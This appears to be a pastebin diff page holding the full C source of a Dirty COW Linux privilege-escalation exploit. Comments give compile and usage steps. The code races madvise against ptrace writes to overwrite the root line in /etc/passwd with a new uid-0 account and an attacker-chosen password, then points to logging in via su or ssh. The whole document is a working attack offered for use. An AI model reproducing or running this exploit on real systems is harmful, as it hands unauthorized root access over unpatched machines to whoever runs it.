View difference between Paste ID: BANr4SeN and pPitDwMh
SHOW: | | - or go back to the newest paste.
1
//
2
// This exploit uses the pokemon exploit of the dirtycow vulnerability
3
// as a base and automatically generates a new passwd line.
4
// The user will be prompted for the new password when the binary is run.
5
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
6
// and overwrites the root account with the generated line.
7
// After running the exploit you should be able to login with the newly
8
// created user.
9
//
10
// To use this exploit modify the user values according to your needs.
11
//   The default is "nako48".
12
//
13
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
14
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
15
//
16
// Compile with:
17
//   gcc -pthread namafile.c -o namafile -lcrypt
18
//
19
// Then run the newly create binary by either doing:
20
//   "./dirty" or "./dirty my-new-password"
21
//
22
// Afterwards, you can either "su nako48" or "ssh nako48@..."
23
//
24
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
25
//   mv /tmp/passwd.bak /etc/passwd
26
//
27
// Exploit adopted by Christian "nako48" Mehlmauer
28
// https://firefart.at
29
//
30
31
#include <fcntl.h>
32
#include <pthread.h>
33
#include <string.h>
34
#include <stdio.h>
35
#include <stdint.h>
36
#include <sys/mman.h>
37
#include <sys/types.h>
38
#include <sys/stat.h>
39
#include <sys/wait.h>
40
#include <sys/ptrace.h>
41
#include <stdlib.h>
42
#include <unistd.h>
43
#include <crypt.h>
44
45
const char *filename = "/etc/passwd";
46
const char *backup_filename = "/tmp/passwd.bak";
47
const char *salt = "nako48";
48
49
int f;
50
void *map;
51
pid_t pid;
52
pthread_t pth;
53
struct stat st;
54
55
struct Userinfo {
56
   char *username;
57
   char *hash;
58
   int user_id;
59
   int group_id;
60
   char *info;
61
   char *home_dir;
62
   char *shell;
63
};
64
65
char *generate_password_hash(char *plaintext_pw) {
66
  return crypt(plaintext_pw, salt);
67
}
68
69
char *generate_passwd_line(struct Userinfo u) {
70
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
71
  int size = snprintf(NULL, 0, format, u.username, u.hash,
72
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
73
  char *ret = malloc(size + 1);
74
  sprintf(ret, format, u.username, u.hash, u.user_id,
75
    u.group_id, u.info, u.home_dir, u.shell);
76
  return ret;
77
}
78
79
void *madviseThread(void *arg) {
80
  int i, c = 0;
81
  for(i = 0; i < 200000000; i++) {
82
    c += madvise(map, 100, MADV_DONTNEED);
83
  }
84
  printf("madvise %d\n\n", c);
85
}
86
87
int copy_file(const char *from, const char *to) {
88
  // check if target file already exists
89
  if(access(to, F_OK) != -1) {
90
    printf("File %s already exists! Please delete it and run again\n",
91
      to);
92
    return -1;
93
  }
94
95
  char ch;
96
  FILE *source, *target;
97
98
  source = fopen(from, "r");
99
  if(source == NULL) {
100
    return -1;
101
  }
102
  target = fopen(to, "w");
103
  if(target == NULL) {
104
     fclose(source);
105
     return -1;
106
  }
107
108
  while((ch = fgetc(source)) != EOF) {
109
     fputc(ch, target);
110
   }
111
112
  printf("%s successfully backed up to %s\n",
113
    from, to);
114
115
  fclose(source);
116
  fclose(target);
117
118
  return 0;
119
}
120
121
int main(int argc, char *argv[])
122
{
123
  // backup file
124
  int ret = copy_file(filename, backup_filename);
125
  if (ret != 0) {
126
    exit(ret);
127
  }
128
129
  struct Userinfo user;
130
  // set values, change as needed
131
  user.username = "nako48";
132
  user.user_id = 0;
133
  user.group_id = 0;
134
  user.info = "pwned";
135
  user.home_dir = "/root";
136
  user.shell = "/bin/bash";
137
138
  char *plaintext_pw;
139
140
  if (argc >= 2) {
141
    plaintext_pw = argv[1];
142
    printf("Please enter the new password: %s\n", plaintext_pw);
143
  } else {
144
    plaintext_pw = getpass("Please enter the new password: ");
145
  }
146
147
  user.hash = generate_password_hash(plaintext_pw);
148
  char *complete_passwd_line = generate_passwd_line(user);
149
  printf("Complete line:\n%s\n", complete_passwd_line);
150
151
  f = open(filename, O_RDONLY);
152
  fstat(f, &st);
153
  map = mmap(NULL,
154
             st.st_size + sizeof(long),
155
             PROT_READ,
156
             MAP_PRIVATE,
157
             f,
158
             0);
159
  printf("mmap: %lx\n",(unsigned long)map);
160
  pid = fork();
161
  if(pid) {
162
    waitpid(pid, NULL, 0);
163
    int u, i, o, c = 0;
164
    int l=strlen(complete_passwd_line);
165
    for(i = 0; i < 10000/l; i++) {
166
      for(o = 0; o < l; o++) {
167
        for(u = 0; u < 10000; u++) {
168
          c += ptrace(PTRACE_POKETEXT,
169
                      pid,
170
                      map + o,
171
                      *((long*)(complete_passwd_line + o)));
172
        }
173
      }
174
    }
175
    printf("ptrace %d\n",c);
176
  }
177
  else {
178
    pthread_create(&pth,
179
                   NULL,
180
                   madviseThread,
181
                   NULL);
182
    ptrace(PTRACE_TRACEME);
183
    kill(getpid(), SIGSTOP);
184
    pthread_join(pth,NULL);
185
  }
186
187
  printf("Done! Check %s to see if the new user was created.\n", filename);
188
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
189
    user.username, plaintext_pw);
190
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
191
    backup_filename, filename);
192
  return 0;
193
}